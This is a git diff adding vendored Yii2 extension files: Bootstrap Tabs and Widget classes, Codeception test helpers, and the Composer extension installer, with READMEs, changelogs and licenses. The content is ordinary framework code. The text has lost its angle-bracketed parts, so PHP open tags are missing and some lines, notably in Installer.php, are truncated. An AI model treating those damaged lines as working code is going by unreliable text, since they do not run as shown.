$percent]), [ + 'class' => 'sr-only' + ]); + $out .= Html::endTag('div'); + + return $out; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/README.md b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/README.md new file mode 100644 index 00000000..bffc7156 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/README.md @@ -0,0 +1,32 @@ +Twitter Bootstrap Extension for Yii 2 +===================================== + +This is the Twitter Bootstrap extension for Yii 2. It encapsulates Bootstrap components +and plugins in terms of Yii widgets, and thus makes using Bootstrap components/plugins +in Yii applications extremely easy. For example, the following +single line of code in a view file would render a Bootstrap Progress plugin: + +```php + 60, 'label' => 'test']) ?> +``` + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-bootstrap "*" +``` + +or add + +``` +"yiisoft/yii2-bootstrap": "*" +``` + +to the require section of your `composer.json` file. + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Tabs.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Tabs.php new file mode 100644 index 00000000..9b0728e7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Tabs.php @@ -0,0 +1,234 @@ + [ + * [ + * 'label' => 'One', + * 'content' => 'Anim pariatur cliche...', + * 'active' => true + * ], + * [ + * 'label' => 'Two', + * 'content' => 'Anim pariatur cliche...', + * 'headerOptions' => [...], + * 'options' => ['id' => 'myveryownID'], + * ], + * [ + * 'label' => 'Dropdown', + * 'items' => [ + * [ + * 'label' => 'DropdownA', + * 'content' => 'DropdownA, Anim pariatur cliche...', + * ], + * [ + * 'label' => 'DropdownB', + * 'content' => 'DropdownB, Anim pariatur cliche...', + * ], + * ], + * ], + * ], + * ]); + * ``` + * + * @see http://getbootstrap.com/javascript/#tabs + * @author Antonio Ramirez + * @since 2.0 + */ +class Tabs extends Widget +{ + /** + * @var array list of tabs in the tabs widget. Each array element represents a single + * tab with the following structure: + * + * - label: string, required, the tab header label. + * - encode: boolean, optional, whether this label should be HTML-encoded. This param will override + * global `$this->encodeLabels` param. + * - headerOptions: array, optional, the HTML attributes of the tab header. + * - linkOptions: array, optional, the HTML attributes of the tab header link tags. + * - content: string, optional, the content (HTML) of the tab pane. + * - options: array, optional, the HTML attributes of the tab pane container. + * - active: boolean, optional, whether the item tab header and pane should be visible or not. + * - items: array, optional, can be used instead of `content` to specify a dropdown items + * configuration array. Each item can hold three extra keys, besides the above ones: + * * active: boolean, optional, whether the item tab header and pane should be visible or not. + * * content: string, required if `items` is not set. The content (HTML) of the tab pane. + * * contentOptions: optional, array, the HTML attributes of the tab content container. + */ + public $items = []; + /** + * @var array list of HTML attributes for the item container tags. This will be overwritten + * by the "options" set in individual [[items]]. The following special options are recognized: + * + * - tag: string, defaults to "div", the tag name of the item container tags. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $itemOptions = []; + /** + * @var array list of HTML attributes for the header container tags. This will be overwritten + * by the "headerOptions" set in individual [[items]]. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $headerOptions = []; + /** + * @var array list of HTML attributes for the tab header link tags. This will be overwritten + * by the "linkOptions" set in individual [[items]]. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $linkOptions = []; + /** + * @var boolean whether the labels for header items should be HTML-encoded. + */ + public $encodeLabels = true; + /** + * @var string specifies the Bootstrap tab styling. + */ + public $navType = 'nav-tabs'; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'nav ' . $this->navType); + } + + /** + * Renders the widget. + */ + public function run() + { + echo $this->renderItems(); + $this->registerPlugin('tab'); + } + + /** + * Renders tab items as specified on [[items]]. + * @return string the rendering result. + * @throws InvalidConfigException. + */ + protected function renderItems() + { + $headers = []; + $panes = []; + + if (!$this->hasActiveTab() && !empty($this->items)) { + $this->items[0]['active'] = true; + } + + foreach ($this->items as $n => $item) { + if (!isset($item['label'])) { + throw new InvalidConfigException("The 'label' option is required."); + } + $encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels; + $label = $encodeLabel ? Html::encode($item['label']) : $item['label']; + $headerOptions = array_merge($this->headerOptions, ArrayHelper::getValue($item, 'headerOptions', [])); + $linkOptions = array_merge($this->linkOptions, ArrayHelper::getValue($item, 'linkOptions', [])); + + if (isset($item['items'])) { + $label .= ' '; + Html::addCssClass($headerOptions, 'dropdown'); + + if ($this->renderDropdown($item['items'], $panes)) { + Html::addCssClass($headerOptions, 'active'); + } + + Html::addCssClass($linkOptions, 'dropdown-toggle'); + $linkOptions['data-toggle'] = 'dropdown'; + $header = Html::a($label, "#", $linkOptions) . "\n" + . Dropdown::widget(['items' => $item['items'], 'clientOptions' => false, 'view' => $this->getView()]); + } elseif (isset($item['content'])) { + $options = array_merge($this->itemOptions, ArrayHelper::getValue($item, 'options', [])); + $options['id'] = ArrayHelper::getValue($options, 'id', $this->options['id'] . '-tab' . $n); + + Html::addCssClass($options, 'tab-pane'); + if (ArrayHelper::remove($item, 'active')) { + Html::addCssClass($options, 'active'); + Html::addCssClass($headerOptions, 'active'); + } + $linkOptions['data-toggle'] = 'tab'; + $header = Html::a($label, '#' . $options['id'], $linkOptions); + $panes[] = Html::tag('div', $item['content'], $options); + } + + $headers[] = Html::tag('li', $header, $headerOptions); + } + + return Html::tag('ul', implode("\n", $headers), $this->options) . "\n" + . Html::tag('div', implode("\n", $panes), ['class' => 'tab-content']); + } + + /** + * @return boolean if there's active tab defined + */ + protected function hasActiveTab() + { + foreach ($this->items as $item) { + if (isset($item['active']) && $item['active']===true) { + return true; + } + } + + return false; + } + + /** + * Normalizes dropdown item options by removing tab specific keys `content` and `contentOptions`, and also + * configure `panes` accordingly. + * @param array $items the dropdown items configuration. + * @param array $panes the panes reference array. + * @return boolean whether any of the dropdown items is `active` or not. + * @throws InvalidConfigException + */ + protected function renderDropdown(&$items, &$panes) + { + $itemActive = false; + + foreach ($items as $n => &$item) { + if (is_string($item)) { + continue; + } + if (!isset($item['content'])) { + throw new InvalidConfigException("The 'content' option is required."); + } + + $content = ArrayHelper::remove($item, 'content'); + $options = ArrayHelper::remove($item, 'contentOptions', []); + Html::addCssClass($options, 'tab-pane'); + if (ArrayHelper::remove($item, 'active')) { + Html::addCssClass($options, 'active'); + Html::addCssClass($item['options'], 'active'); + $itemActive = true; + } + + $options['id'] = ArrayHelper::getValue($options, 'id', $this->options['id'] . '-dd-tab' . $n); + $item['url'] = '#' . $options['id']; + $item['linkOptions']['data-toggle'] = 'tab'; + + $panes[] = Html::tag('div', $content, $options); + + unset($item); + } + + return $itemActive; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Widget.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Widget.php new file mode 100644 index 00000000..6e6bc856 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Widget.php @@ -0,0 +1,82 @@ + + * @author Qiang Xue + * @since 2.0 + */ +class Widget extends \yii\base\Widget +{ + /** + * @var array the HTML attributes for the widget container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var array the options for the underlying Bootstrap JS plugin. + * Please refer to the corresponding Bootstrap plugin Web page for possible options. + * For example, [this page](http://getbootstrap.com/javascript/#modals) shows + * how to use the "Modal" plugin and the supported options (e.g. "remote"). + */ + public $clientOptions = []; + /** + * @var array the event handlers for the underlying Bootstrap JS plugin. + * Please refer to the corresponding Bootstrap plugin Web page for possible events. + * For example, [this page](http://getbootstrap.com/javascript/#modals) shows + * how to use the "Modal" plugin and the supported events (e.g. "shown"). + */ + public $clientEvents = []; + + + /** + * Initializes the widget. + * This method will register the bootstrap asset bundle. If you override this method, + * make sure you call the parent implementation first. + */ + public function init() + { + parent::init(); + if (!isset($this->options['id'])) { + $this->options['id'] = $this->getId(); + } + } + + /** + * Registers a specific Bootstrap plugin and the related events + * @param string $name the name of the Bootstrap plugin + */ + protected function registerPlugin($name) + { + $view = $this->getView(); + + BootstrapPluginAsset::register($view); + + $id = $this->options['id']; + + if ($this->clientOptions !== false) { + $options = empty($this->clientOptions) ? '' : Json::encode($this->clientOptions); + $js = "jQuery('#$id').$name($options);"; + $view->registerJs($js); + } + + if (!empty($this->clientEvents)) { + $js = []; + foreach ($this->clientEvents as $event => $handler) { + $js[] = "jQuery('#$id').on('$event', $handler);"; + } + $view->registerJs(implode("\n", $js)); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/composer.json new file mode 100644 index 00000000..e90811ad --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/composer.json @@ -0,0 +1,34 @@ +{ + "name": "yiisoft/yii2-bootstrap", + "description": "The Twitter Bootstrap extension for the Yii framework", + "keywords": ["yii2", "bootstrap"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "issues": "https://github.com/yiisoft/yii2/issues?labels=ext%3Abootstrap", + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Qiang Xue", + "email": "qiang.xue@gmail.com" + } + ], + "require": { + "yiisoft/yii2": "*", + "bower-asset/bootstrap": "3.2.* | 3.1.*" + }, + "autoload": { + "psr-4": { + "yii\\bootstrap\\": "" + } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/BasePage.php b/php/yii2/basic/vendor/yiisoft/yii2-codeception/BasePage.php new file mode 100644 index 00000000..13363255 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/BasePage.php @@ -0,0 +1,81 @@ + + * @since 2.0 + */ +abstract class BasePage extends Component +{ + /** + * @var string|array the route (controller ID and action ID, e.g. `site/about`) to this page. + * Use array to represent a route with GET parameters. The first element of the array represents + * the route and the rest of the name-value pairs are treated as GET parameters, e.g. `array('site/page', 'name' => 'about')`. + */ + public $route; + + /** + * @var \Codeception\Actor the testing guy object + */ + protected $actor; + + + /** + * Constructor. + * + * @param \Codeception\Actor $I the testing guy object + */ + public function __construct($I) + { + $this->actor = $I; + } + + /** + * Returns the URL to this page. + * The URL will be returned by calling the URL manager of the application + * with [[route]] and the provided parameters. + * @param array $params the GET parameters for creating the URL + * @return string the URL to this page + * @throws InvalidConfigException if [[route]] is not set or invalid + */ + public function getUrl($params = []) + { + if (is_string($this->route)) { + $params[0] = $this->route; + + return Yii::$app->getUrlManager()->createUrl($params); + } elseif (is_array($this->route) && isset($this->route[0])) { + return Yii::$app->getUrlManager()->createUrl(array_merge($this->route, $params)); + } else { + throw new InvalidConfigException('The "route" property must be set.'); + } + } + + /** + * Creates a page instance and sets the test guy to use [[url]]. + * @param \Codeception\Actor $I the test guy instance + * @param array $params the GET parameters to be used to generate [[url]] + * @return static the page instance + */ + public static function openBy($I, $params = []) + { + $page = new static($I); + $I->amOnPage($page->getUrl($params)); + + return $page; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-codeception/CHANGELOG.md new file mode 100644 index 00000000..9ee9c4ac --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/CHANGELOG.md @@ -0,0 +1,22 @@ +Yii Framework 2 Codeception extension Change Log +================================================ + +2.0.0 October 12, 2014 +---------------------- + +- no changes in this release. + + +2.0.0-rc September 27, 2014 +--------------------------- + +- no changes in this release. + + +2.0.0-beta April 13, 2014 +------------------------- + +- Initial release. +- Enh: yii\codeception\TestCase now supports loading and using fixtures via Yii fixture framework (qiangxue) +- New #1956: Implemented test fixture framework (qiangxue) +- New: Added yii\codeception\DbTestCase (qiangxue) diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/DbTestCase.php b/php/yii2/basic/vendor/yiisoft/yii2-codeception/DbTestCase.php new file mode 100644 index 00000000..c5e3cf9a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/DbTestCase.php @@ -0,0 +1,29 @@ + + * @since 2.0 + */ +class DbTestCase extends TestCase +{ + /** + * @inheritdoc + */ + public function globalFixtures() + { + return [ + InitDbFixture::className(), + ]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/LICENSE.md b/php/yii2/basic/vendor/yiisoft/yii2-codeception/LICENSE.md new file mode 100644 index 00000000..0bb1a8dc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/LICENSE.md @@ -0,0 +1,32 @@ +The Yii framework is free software. It is released under the terms of +the following BSD License. + +Copyright © 2008-2013 by Yii Software LLC (http://www.yiisoft.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + * Neither the name of Yii Software LLC nor the names of its + contributors may be used to endorse or promote products derived + from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/README.md b/php/yii2/basic/vendor/yiisoft/yii2-codeception/README.md new file mode 100644 index 00000000..16eb02f9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/README.md @@ -0,0 +1,284 @@ +Codeception Extension for Yii 2 +=============================== + +This extension provides [Codeception](http://codeception.com/) integration for the Yii Framework 2.0. + +It provides classes that help with testing with codeception: + +- a base class for unit-tests: `yii\codeception\TestCase`; +- a base class for codeception page-objects: `yii\codeception\BasePage`. + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist yiisoft/yii2-codeception "*" +``` + +or add + +```json +"yiisoft/yii2-codeception": "*" +``` + +to the require section of your composer.json. + + +Usage +----- + +When using codeception page-objects they have some similar code, this code was extracted and put into the `BasePage` +class to reduce code duplication. Simply extend your page object from this class, like it is done in `yii2-app-basic` and +`yii2-app-advanced` boilerplates. + +For unit testing there is a `TestCase` class which holds some common features like application creation before each test +and application destroy after each test. You can configure a mock application using this class. +`TestCase` is extended from `Codeception\TestCase\Case` so all methods and assertions are available. +You may use codeception modules and fire events in your test, just use methods: + +Getting Codeception modules +--------------------------- + +If you want to use codeception modules and helpers in your unit tests, you can do it like this: + +```php +getModule('CodeHelper'); #or some other module +``` + +You also can use all actor methods by accessing actor instance like: + +```php +unitTester->someMethodFromModule(); +``` +Codeception events +------------------ + +To fire event do this: + +```php +fire('myevent', new TestEvent($this)); +} +``` +this event can be catched in modules and helpers. If your test is in the group, then event name will be followed by the groupname, +for example ```myevent.somegroup```. + + +Special test method chaining +---------------------------- + +Execution of special tests methods is (for example on ```UserTest``` class): + +``` +tests\unit\models\UserTest::setUpBeforeClass(); + + tests\unit\models\UserTest::_before(); + + tests\unit\models\UserTest::setUp(); + + tests\unit\models\UserTest::testSomething(); + + tests\unit\models\UserTest::tearDown(); + + tests\unit\models\UserTest::_after(); + +tests\unit\models\UserTest::tearDownAfterClass(); +``` + +If you use special methods dont forget to call its parent. + +Customizing application config +------------------------------ + +You may need to specify different configuration files per test cases, to do this you can make it like the following: + +```php + 'yii\console\Application', + 'components' => [ + //override console components if needed + ], + ] +); +``` + +and then just use your `ConsoleTestCase` like the following: + +```php + +use \yii\codeception\TestCase; + +class ConsoleTestCase extends TestCase +{ + public $appConfig = '@tests/unit/_console.php'; +} +``` + +You can extend other console test cases from this basic `ConsoleTestCase`. + +Reconfiguring components for testing +------------------------------------ + +You can reconfigure a component for testing, for this purpose in your `setUp` method of your test case +you can do this for example: + +```php +mailer->fileTransportCallback = function ($mailer, $message) { + return 'testing_message.eml'; + }; + } + +} +``` + +> **Tip**: You also can reconfigure Yii components and properties with method `Yii::configure()`. + +You don't need to worry about application instances and isolation because application will be created [each time](https://github.com/yiisoft/yii2/blob/master/extensions/codeception/TestCase.php#L31) before any of test method will be executed in test case. +You can mock application in a different way. For this purposes you have method [`mockApplication`](https://github.com/yiisoft/yii2/blob/master/extensions/codeception/TestCase.php#L55) available in your test case. +This method creates new application instance and replaces old one with it and is handy when you need to create application with a config that is different from other test methods in the current test suite. For example: + +```php + +use \yii\codeception\TestCase; + +class SomeMyTest extends TestCase +{ + + public function testOne() + { + ... + } + + public function testTwo() + { + $this->mockApplication([ + 'language' => 'ru-RU', + 'components' => [ + 'db' => [ + //your custom configuration here + ], + ], + ]); + + //your expectations and assertions goes here + } + + public function testThree() + { + ... + } + +} +``` + +Additional debug output +----------------------- + +Because of Codeception buffers all output you can't make simple `var_dump()` in the TestCase, instead you need to use +`Codeception\Util\Debug::debug()` function and then run test with `--debug` key, for example: + +```php + 1 + [1] => 2 + [2] => 3 + [3] => 4 + [4] => 5 + ) + + yii\web\User Object + ( + [identityClass] => app\models\User + [enableAutoLogin] => + [loginUrl] => Array + ( + [0] => site/login + ) + + [identityCookie] => Array + ( + [name] => _identity + [httpOnly] => 1 + ) + + [authTimeout] => + [autoRenewCookie] => 1 + [idParam] => __id + [authTimeoutParam] => __expire + [returnUrlParam] => __returnUrl + [_access:yii\web\User:private] => Array + ( + ) + + [_identity:yii\web\User:private] => + [_events:yii\base\Component:private] => + [_behaviors:yii\base\Component:private] => + ) + +``` + +For further instructions refer to the testing section in the [Yii Definitive Guide](https://github.com/yiisoft/yii2/blob/master/docs/guide/test-overview.md). diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/TestCase.php b/php/yii2/basic/vendor/yiisoft/yii2-codeception/TestCase.php new file mode 100644 index 00000000..a810cb6e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/TestCase.php @@ -0,0 +1,131 @@ + + * @since 2.0 + */ +class TestCase extends Test +{ + use FixtureTrait; + + /** + * @var array|string the application configuration that will be used for creating an application instance for each test. + * You can use a string to represent the file path or path alias of a configuration file. + * The application configuration array may contain an optional `class` element which specifies the class + * name of the application instance to be created. By default, a [[\yii\web\Application]] instance will be created. + */ + public $appConfig = '@tests/codeception/config/unit.php'; + + + /** + * Returns the value of an object property. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when executing `$value = $object->property;`. + * @param string $name the property name + * @return mixed the property value + * @throws UnknownPropertyException if the property is not defined + */ + public function __get($name) + { + $fixture = $this->getFixture($name); + if ($fixture !== null) { + return $fixture; + } else { + throw new UnknownPropertyException('Getting unknown property: ' . get_class($this) . '::' . $name); + } + } + + /** + * Calls the named method which is not a class method. + * + * Do not call this method directly as it is a PHP magic method that + * will be implicitly called when an unknown method is being invoked. + * @param string $name the method name + * @param array $params method parameters + * @throws UnknownMethodException when calling unknown method + * @return mixed the method return value + */ + public function __call($name, $params) + { + $fixture = $this->getFixture($name); + if ($fixture instanceof ActiveFixture) { + return $fixture->getModel(reset($params)); + } else { + throw new UnknownMethodException('Unknown method: ' . get_class($this) . "::$name()"); + } + } + + /** + * @inheritdoc + */ + protected function setUp() + { + parent::setUp(); + $this->mockApplication(); + $this->unloadFixtures(); + $this->loadFixtures(); + } + + /** + * @inheritdoc + */ + protected function tearDown() + { + $this->destroyApplication(); + parent::tearDown(); + } + + /** + * Mocks up the application instance. + * @param array $config the configuration that should be used to generate the application instance. + * If null, [[appConfig]] will be used. + * @return \yii\web\Application|\yii\console\Application the application instance + * @throws InvalidConfigException if the application configuration is invalid + */ + protected function mockApplication($config = null) + { + $config = $config === null ? $this->appConfig : $config; + if (is_string($config)) { + $configFile = Yii::getAlias($config); + if (!is_file($configFile)) { + throw new InvalidConfigException("The application configuration file does not exist: $config"); + } + $config = require($configFile); + } + if (is_array($config)) { + if (!isset($config['class'])) { + $config['class'] = 'yii\web\Application'; + } + + return Yii::createObject($config); + } else { + throw new InvalidConfigException('Please provide a configuration array to mock up an application.'); + } + } + + /** + * Destroys the application instance created by [[mockApplication]]. + */ + protected function destroyApplication() + { + Yii::$app = null; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-codeception/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-codeception/composer.json new file mode 100644 index 00000000..da0fb8ec --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-codeception/composer.json @@ -0,0 +1,30 @@ +{ + "name": "yiisoft/yii2-codeception", + "description": "The Codeception integration for the Yii framework", + "keywords": ["yii2", "codeception"], + "type": "yii2-extension", + "license": "BSD-3-Clause", + "support": { + "forum": "http://www.yiiframework.com/forum/", + "wiki": "http://www.yiiframework.com/wiki/", + "irc": "irc://irc.freenode.net/yii", + "source": "https://github.com/yiisoft/yii2" + }, + "authors": [ + { + "name": "Mark Jebri", + "email": "mark.github@yandex.ru" + } + ], + "require": { + "yiisoft/yii2": "*" + }, + "autoload": { + "psr-4": { "yii\\codeception\\": "" } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-composer/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-composer/CHANGELOG.md new file mode 100644 index 00000000..46dd5f35 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-composer/CHANGELOG.md @@ -0,0 +1,25 @@ +Yii Framework 2 composer extension Change Log +============================================= + +2.0.0 October 12, 2014 +---------------------- + +- no changes in this release. + + +2.0.0-rc September 27, 2014 +--------------------------- + +- Bug #3438: Fixed support for non-lowercase package names (cebe) +- Chg: Added `yii\composer\Installer::postCreateProject()` and modified the syntax of calling installer methods in composer.json (qiangxue) + +2.0.0-beta April 13, 2014 +------------------------- + +- Bug #1480: Fixed issue with creating extensions.php when php opcache is enabled (cebe) +- Enh: Added support for installing packages conforming to PSR-4 standard (qiangxue) + +2.0.0-alpha, December 1, 2013 +----------------------------- + +- Initial release. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-composer/Installer.php b/php/yii2/basic/vendor/yiisoft/yii2-composer/Installer.php new file mode 100644 index 00000000..f86e7851 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-composer/Installer.php @@ -0,0 +1,276 @@ + + * @since 2.0 + */ +class Installer extends LibraryInstaller +{ + const EXTRA_BOOTSTRAP = 'bootstrap'; + const EXTENSION_FILE = 'yiisoft/extensions.php'; + + + /** + * @inheritdoc + */ + public function supports($packageType) + { + return $packageType === 'yii2-extension'; + } + + /** + * @inheritdoc + */ + public function install(InstalledRepositoryInterface $repo, PackageInterface $package) + { + // install the package the normal composer way + parent::install($repo, $package); + // add the package to yiisoft/extensions.php + $this->addPackage($package); + // ensure the yii2-dev package also provides Yii.php in the same place as yii2 does + if ($package->getName() == 'yiisoft/yii2-dev') { + $this->linkBaseYiiFiles(); + } + } + + /** + * @inheritdoc + */ + public function update(InstalledRepositoryInterface $repo, PackageInterface $initial, PackageInterface $target) + { + parent::update($repo, $initial, $target); + $this->removePackage($initial); + $this->addPackage($target); + // ensure the yii2-dev package also provides Yii.php in the same place as yii2 does + if ($initial->getName() == 'yiisoft/yii2-dev') { + $this->linkBaseYiiFiles(); + } + } + + /** + * @inheritdoc + */ + public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package) + { + // uninstall the package the normal composer way + parent::uninstall($repo, $package); + // remove the package from yiisoft/extensions.php + $this->removePackage($package); + // remove links for Yii.php + if ($package->getName() == 'yiisoft/yii2-dev') { + $this->removeBaseYiiFiles(); + } + } + + protected function addPackage(PackageInterface $package) + { + $extension = [ + 'name' => $package->getName(), + 'version' => $package->getVersion(), + ]; + + $alias = $this->generateDefaultAlias($package); + if (!empty($alias)) { + $extension['alias'] = $alias; + } + $extra = $package->getExtra(); + if (isset($extra[self::EXTRA_BOOTSTRAP])) { + $extension['bootstrap'] = $extra[self::EXTRA_BOOTSTRAP]; + } + + $extensions = $this->loadExtensions(); + $extensions[$package->getName()] = $extension; + $this->saveExtensions($extensions); + } + + protected function generateDefaultAlias(PackageInterface $package) + { + $fs = new Filesystem; + $vendorDir = $fs->normalizePath($this->vendorDir); + $autoload = $package->getAutoload(); + + $aliases = []; + + if (!empty($autoload['psr-0'])) { + foreach ($autoload['psr-0'] as $name => $path) { + $name = str_replace('\\', '/', trim($name, '\\')); + if (!$fs->isAbsolutePath($path)) { + $path = $this->vendorDir . '/' . $package->getPrettyName() . '/' . $path; + } + $path = $fs->normalizePath($path); + if (strpos($path . '/', $vendorDir . '/') === 0) { + $aliases["@$name"] = '' . substr($path, strlen($vendorDir)) . '/' . $name; + } else { + $aliases["@$name"] = $path . '/' . $name; + } + } + } + + if (!empty($autoload['psr-4'])) { + foreach ($autoload['psr-4'] as $name => $path) { + $name = str_replace('\\', '/', trim($name, '\\')); + if (!$fs->isAbsolutePath($path)) { + $path = $this->vendorDir . '/' . $package->getPrettyName() . '/' . $path; + } + $path = $fs->normalizePath($path); + if (strpos($path . '/', $vendorDir . '/') === 0) { + $aliases["@$name"] = '' . substr($path, strlen($vendorDir)); + } else { + $aliases["@$name"] = $path; + } + } + } + + return $aliases; + } + + protected function removePackage(PackageInterface $package) + { + $packages = $this->loadExtensions(); + unset($packages[$package->getName()]); + $this->saveExtensions($packages); + } + + protected function loadExtensions() + { + $file = $this->vendorDir . '/' . self::EXTENSION_FILE; + if (!is_file($file)) { + return []; + } + // invalidate opcache of extensions.php if exists + if (function_exists('opcache_invalidate')) { + opcache_invalidate($file, true); + } + $extensions = require($file); + + $vendorDir = str_replace('\\', '/', $this->vendorDir); + $n = strlen($vendorDir); + + foreach ($extensions as &$extension) { + if (isset($extension['alias'])) { + foreach ($extension['alias'] as $alias => $path) { + $path = str_replace('\\', '/', $path); + if (strpos($path . '/', $vendorDir . '/') === 0) { + $extension['alias'][$alias] = '' . substr($path, $n); + } + } + } + } + + return $extensions; + } + + protected function saveExtensions(array $extensions) + { + $file = $this->vendorDir . '/' . self::EXTENSION_FILE; + $array = str_replace("'", '$vendorDir . \'', var_export($extensions, true)); + file_put_contents($file, "vendorDir . '/yiisoft/yii2'; + if (!file_exists($yiiDir)) { + mkdir($yiiDir, 0777, true); + } + foreach (['Yii.php', 'BaseYii.php', 'classes.php'] as $file) { + file_put_contents($yiiDir . '/' . $file, <<vendorDir . '/yiisoft/yii2'; + foreach (['Yii.php', 'BaseYii.php', 'classes.php'] as $file) { + if (file_exists($yiiDir . '/' . $file)) { + unlink($yiiDir . '/' . $file); + } + } + if (file_exists($yiiDir)) { + rmdir($yiiDir); + } + } + + public static function postCreateProject($event) + { + $params = $event->getComposer()->getPackage()->getExtra(); + if (isset($params[__METHOD__]) && is_array($params[__METHOD__])) { + foreach ($params[__METHOD__] as $method => $args) { + call_user_func_array([__CLASS__, $method], (array) $args); + } + } + } + + /** + * Sets the correct permission for the files and directories listed in the extra section. + * @param array $paths the paths (keys) and the corresponding permission octal strings (values) + */ + public static function setPermission(array $paths) + { + foreach ($paths as $path => $permission) { + echo "chmod('$path', $permission)..."; + if (is_dir($path) || is_file($path)) { + chmod($path, octdec($permission)); + echo "done.\n"; + } else { + echo "file not found.\n"; + } + } + } + + /** + * Generates a cookie validation key for every app config listed in "config" in extra section. + * You can provide one or multiple parameters as the configuration files which need to have validation key inserted. + */ + public static function generateCookieValidationKey() + { + $configs = func_get_args(); + $key = self::generateRandomString(); + foreach ($configs as $config) { + if (is_file($config)) { + $content = preg_replace('/(("|\')cookieValidationKey("|\')\s*=>\s*)(""|\'\')/', "\\1'$key'", file_get_contents($config)); + file_put_contents($config, $content); + } + } + } + + protected static function generateRandomString() + { + if (!extension_loaded('mcrypt')) { + throw new \Exception('The mcrypt PHP extension is required by Yii2.'); + } + $length = 32; + $bytes = mcrypt_create_iv($length, MCRYPT_DEV_URANDOM); + return strtr(substr(base64_encode($bytes), 0, $length), '+/=', '_-.'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-composer/LICENSE.md b/php/yii2/basic/vendor/yiisoft/yii2-composer/LICENSE.md new file mode 100644 index 00000000..e98f03df --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-composer/LICENSE.md @@ -0,0 +1,32 @@ +The Yii framework is free software. It is released under the terms of +the following BSD License. + +Copyright © 2008 by Yii Software LLC (http://www.yiisoft.com) +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 